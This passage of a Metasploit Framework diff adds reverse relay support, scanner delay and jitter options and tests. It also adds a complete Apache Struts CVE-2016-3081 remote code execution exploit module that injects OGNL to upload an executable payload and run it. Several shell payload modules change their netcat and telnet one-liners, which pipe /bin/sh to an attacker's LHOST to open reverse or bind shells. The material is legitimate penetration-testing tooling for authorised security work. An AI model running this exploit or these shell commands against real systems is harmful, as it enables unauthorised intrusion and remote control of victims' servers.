relay = ReverseRelay.new(name, channel, opts)
# dirty hack to get "relay" support?
channel.extend(StreamServer)
channel.relay = relay
self.relay_mutex.synchronize {
self.relays[name] = relay
self.rev_chans << channel
}
end
#
# Stop an active reverse port forward.
#
def stop_reverse_tcp_relay(rport)
stop_relay("Reverse-#{rport}")
end
#
# Starts a local TCP relay.
@ -236,7 +302,7 @@ class LocalRelay
self.relay_mutex.synchronize {
relay = self.relays[name]
if (relay)
if relay
close_relay(relay)
rv = true
end
@ -264,13 +330,19 @@ class LocalRelay
protected
attr_accessor :relays, :relay_thread, :relay_mutex
attr_accessor :rfds
attr_accessor :rfds, :rev_chans
#
# Closes an cleans up a specific relay
#
def close_relay(relay)
self.rfds.delete(relay.listener)
if relay.kind_of?(ReverseRelay)
self.rev_chans.delete(relay.channel)
else
self.rfds.delete(relay.listener)
end
self.relays.delete(relay.name)
begin
@ -291,7 +363,7 @@ protected
self.rfds.delete(fd)
begin
if (relay.on_conn_close_proc)
if relay.on_conn_close_proc
relay.on_conn_close_proc.call(fd)
end
@ -300,7 +372,7 @@ protected
rescue IOError
end
if (ofd)
if ofd
self.rfds.delete(ofd)
begin
@ -315,6 +387,35 @@ protected
end
end
#
# Attempt to accept a new reverse connection on the given reverse
# relay handle.
#
def accept_reverse_relay(rrfd)
rfd = rrfd.accept_nonblock
return unless rfd
lfd = Rex::Socket::Tcp.create(
'PeerHost' => rrfd.relay.opts['PeerHost'],
'PeerPort' => rrfd.relay.opts['PeerPort'],
'Timeout' => 5
)
rfd.extend(Stream)
lfd.extend(Stream)
rfd.relay = rrfd.relay
lfd.relay = rrfd.relay
self.rfds << lfd
self.rfds << rfd
rfd.other_stream = lfd
lfd.other_stream = rfd
end
#
# Accepts a client connection on a local relay.
#
@ -342,7 +443,7 @@ protected
# If we have both sides, then we rock. Extend the instances, associate
# them with the relay, associate them with each other, and add them to
# the list of polling file descriptors
if (lfd and rfd)
if lfd && rfd
lfd.extend(Stream)
rfd.extend(Stream)
@ -354,9 +455,8 @@ protected
self.rfds << lfd
self.rfds << rfd
# Otherwise, we don't have both sides, we'll close them.
else
# Otherwise, we don't have both sides, we'll close them.
close_relay_conn(lfd)
end
end
@ -369,6 +469,12 @@ protected
# Helps with latency
Thread.current.priority = 2
# See if we have any new connections on the existing reverse port
# forward relays
rev_chans.each do |rrfd|
accept_reverse_relay(rrfd)
end
# Poll all the streams...
begin
socks = Rex::ThreadSafe.select(rfds, nil, nil, 0.25)
@ -377,7 +483,7 @@ protected
# Close the relay connection that is associated with the stream
# closed error
if (e.stream.kind_of?(Stream))
if e.stream.kind_of?(Stream)
close_relay_conn(e.stream)
end
@ -398,9 +504,9 @@ protected
# If this file descriptor is a server, accept the connection
if (rfd.kind_of?(StreamServer))
accept_relay_conn(rfd)
# Otherwise, it's a relay connection, read data from one side
# and write it to the other
else
# Otherwise, it's a relay connection, read data from one side
# and write it to the other
begin
# Pass the data onto the other fd, most likely writing it.
data = rfd.sysread(65536)

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'#, '1.1.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.8'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.10'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -27,6 +27,8 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]),
OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]),
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]),
OptString.new('INTERFACE', [false, 'The name of the interface'])
], self.class)
@ -43,16 +45,26 @@ class MetasploitModule < Msf::Auxiliary
end
def run_batch(hosts)
open_pcap
pcap = self.capture
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
if ports.empty?
raise Msf::OptionValidateError.new(['PORTS'])
end
jitter_value = datastore['JITTER'].to_i
if jitter_value < 0
raise Msf::OptionValidateError.new(['JITTER'])
end
delay_value = datastore['DELAY'].to_i
if delay_value < 0
raise Msf::OptionValidateError.new(['DELAY'])
end
open_pcap
pcap = self.capture
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
@ -64,6 +76,9 @@ class MetasploitModule < Msf::Auxiliary
pcap.setfilter(getfilter(shost, sport, dhost, dport))
# Add the delay based on JITTER and DELAY if needs be
add_delay_jitter(delay_value,jitter_value)
begin
probe = buildprobe(shost, sport, dhost, dport)

View File

@ -26,7 +26,9 @@ class MetasploitModule < Msf::Auxiliary
register_options([
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
OptAddress.new('BOUNCEHOST', [true, "FTP relay host"]),
OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21])
OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21]),
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0])
])
deregister_options('RHOST', 'RPORT')
@ -47,11 +49,20 @@ class MetasploitModule < Msf::Auxiliary
def run_host(ip)
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
if ports.empty?
raise Msf::OptionValidateError.new(['PORTS'])
end
jitter_value = datastore['JITTER'].to_i
if jitter_value < 0
raise Msf::OptionValidateError.new(['JITTER'])
end
delay_value = datastore['DELAY'].to_i
if delay_value < 0
raise Msf::OptionValidateError.new(['DELAY'])
end
return if not connect_login
ports.each do |port|
@ -64,8 +75,11 @@ class MetasploitModule < Msf::Auxiliary
end
begin
host = (ip.split('.') + [port / 256, port % 256]).join(',')
# Add the delay based on JITTER and DELAY if needs be
add_delay_jitter(delay_value,jitter_value)
host = (ip.split('.') + [port / 256, port % 256]).join(',')
resp = send_cmd(["PORT", host])
if resp =~ /^5/

View File

@ -25,6 +25,8 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]),
OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]),
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]),
OptString.new('INTERFACE', [false, 'The name of the interface'])
], self.class)
@ -41,16 +43,24 @@ class MetasploitModule < Msf::Auxiliary
end
def run_batch(hosts)
open_pcap
pcap = self.capture
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
if ports.empty?
raise Msf::OptionValidateError.new(['PORTS'])
end
jitter_value = datastore['JITTER'].to_i
if jitter_value < 0
raise Msf::OptionValidateError.new(['JITTER'])
end
delay_value = datastore['DELAY'].to_i
if delay_value < 0
raise Msf::OptionValidateError.new(['DELAY'])
end
open_pcap
pcap = self.capture
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
@ -62,6 +72,9 @@ class MetasploitModule < Msf::Auxiliary
self.capture.setfilter(getfilter(shost, sport, dhost, dport))
# Add the delay based on JITTER and DELAY if needs be
add_delay_jitter(delay_value,jitter_value)
begin
probe = buildprobe(shost, sport, dhost, dport)

View File

@ -17,7 +17,11 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'TCP Port Scanner',
'Description' => 'Enumerate open TCP services',
'Description' => %q{
Enumerate open TCP services by performing a full TCP connect on each port.
This does not need administrative privileges on the source machine, which
may be useful if pivoting.
},
'Author' => [ 'hdm', 'kris katterjohn' ],
'License' => MSF_LICENSE
)
@ -27,13 +31,14 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]),
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]),
], self.class)
deregister_options('RPORT')
end
def run_host(ip)
timeout = datastore['TIMEOUT'].to_i
@ -44,6 +49,16 @@ class MetasploitModule < Msf::Auxiliary
raise Msf::OptionValidateError.new(['PORTS'])
end
jitter_value = datastore['JITTER'].to_i
if jitter_value < 0
raise Msf::OptionValidateError.new(['JITTER'])
end
delay_value = datastore['DELAY'].to_i
if delay_value < 0
raise Msf::OptionValidateError.new(['DELAY'])
end
while(ports.length > 0)
t = []
r = []
@ -53,6 +68,11 @@ class MetasploitModule < Msf::Auxiliary
break if not this_port
t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port|
begin
# Add the delay based on JITTER and DELAY if needs be
add_delay_jitter(delay_value,jitter_value)
# Actually perform the TCP connection
s = connect(false,
{
'RPORT' => port,

View File

@ -27,6 +27,8 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]),
OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]),
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]),
OptString.new('INTERFACE', [false, 'The name of the interface'])
], self.class)
@ -48,11 +50,20 @@ class MetasploitModule < Msf::Auxiliary
pcap = self.capture
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
if ports.empty?
raise Msf::OptionValidateError.new(['PORTS'])
end
jitter_value = datastore['JITTER'].to_i
if jitter_value < 0
raise Msf::OptionValidateError.new(['JITTER'])
end
delay_value = datastore['DELAY'].to_i
if delay_value < 0
raise Msf::OptionValidateError.new(['DELAY'])
end
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
# we copy the hosts because some may not be reachable and need to be ejected
@ -67,6 +78,9 @@ class MetasploitModule < Msf::Auxiliary
begin
probe = buildprobe(shost, sport, dhost, dport)
# Add the delay based on JITTER and DELAY if needs be
add_delay_jitter(delay_value,jitter_value)
unless capture_sendto(probe, dhost)
host_queue.delete(dhost)
next

View File

@ -8,9 +8,13 @@ require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Module::Deprecated
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
deprecated(Date.new(2016, 6, 1), 'exploit/multi/http/struts_dmi_exec')
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',

View File

@ -0,0 +1,203 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed via method: prefix when Dynamic Method Invocation
is enabled.
},
'Author' => [
'Nixawk', # original metasploit module
'rungobier' # improved metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3081' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def get_target_platform
target.platform.platforms.first
end
def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
case get_target_platform
when Msf::Module::Platform::Windows
slash = '\\'
when
slash = '/'
else
end
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def send_http_request(payload, params_hash)
uri = normalize_uri(datastore['TARGETURI'])
uri = "#{uri}?#{payload}"
resp = send_request_cgi(
'uri' => uri,
'version' => '1.1',
'method' => 'POST',
'vars_post' => params_hash
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def generate_rce_payload(code)
payload = "method:"
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
payload
end
def upload_exec(cmd, filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
payload = generate_rce_payload(code)
params_hash = {
var_d => Rex::Text.encode_base64(cmd),
var_e => Rex::Text.encode_base64(filename),
var_f => content
}
send_http_request(payload, params_hash)
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
payload = generate_rce_payload(code)
params_hash = { var_b => flag }
begin
resp = send_http_request(payload, params_hash)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
payload_exe = rand_text_alphanumeric(4 + rand(4))
case target['Platform']
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
command = "java -jar #{payload_exe}"
when 'linux'
path = datastore['TMPPATH'] || '/tmp/'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}"
command = "/bin/sh -c #{payload_exe}"
when 'win'
path = temp_path || '.\\'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}.exe"
command = "cmd.exe /c #{payload_exe}"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
pl_content = pl_exe.unpack('H*').join()
print_status("Uploading exploit to #{payload_exe}, and executing it.")
upload_exec(command, payload_exe, pl_content)
handler
end
end

View File

@ -52,7 +52,7 @@ module MetasploitModule
#
def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
"mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
end
end

View File

@ -19,7 +19,7 @@ module MetasploitModule
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
'Description' => %q{
Creates an interactive shell via mknod and telnet.
Creates an interactive shell via mkfifo and telnet.
This method works on Debian and other systems compiled
without /dev/tcp support. This module uses the '-z'
option included on some systems to encrypt using SSL.
@ -53,6 +53,6 @@ module MetasploitModule
#
def command_string
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
end
end

View File

@ -52,7 +52,7 @@ module MetasploitModule
#
def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
end
end

View File

@ -12,6 +12,38 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do
mod
end
describe '#reconfig_redirect_opts!' do
context 'when URI is http://127.0.0.1/test/redirect.php' do
it 'should return /test/redirect.php as the URI path' do
res = Rex::Proto::Http::Response.new
allow(res).to receive(:headers).and_return({'Location'=>'http://127.0.0.1/test/redirect.php'})
opts = {}
subject.reconfig_redirect_opts!(res, opts)
expect(opts['uri']).to eq('/test/redirect.php')
end
end
context 'when URI is /test/redirect.php' do
it 'should return /test/redirect.php' do
res = Rex::Proto::Http::Response.new
allow(res).to receive(:headers).and_return({'Location'=>'/test/redirect.php'})
opts = {}
subject.reconfig_redirect_opts!(res, opts)
expect(opts['uri']).to eq('/test/redirect.php')
end
end
context 'when URI is ./redirect.php' do
it 'should return /redirect.php' do
res = Rex::Proto::Http::Response.new
allow(res).to receive(:headers).and_return({'Location'=>'./redirect.php'})
opts = {}
subject.reconfig_redirect_opts!(res, opts)
expect(opts['uri']).to eq('/redirect.php')
end
end
end
describe '#vhost' do
let(:rhost) do

View File

@ -170,6 +170,16 @@ RSpec.describe Rex::Proto::Http::ClientRequest do
:set_content_len_header => { args: 1024, result: "Content-Length: 1024\r\n"}
}
],
[
"with a POST request and no payload body",
default_options.merge({
'method' => 'POST'
}),
{
:set_content_len_header => { args: 0, result: "Content-Length: 0\r\n"}
}
],
].each do |c, opts, expectations|
context c do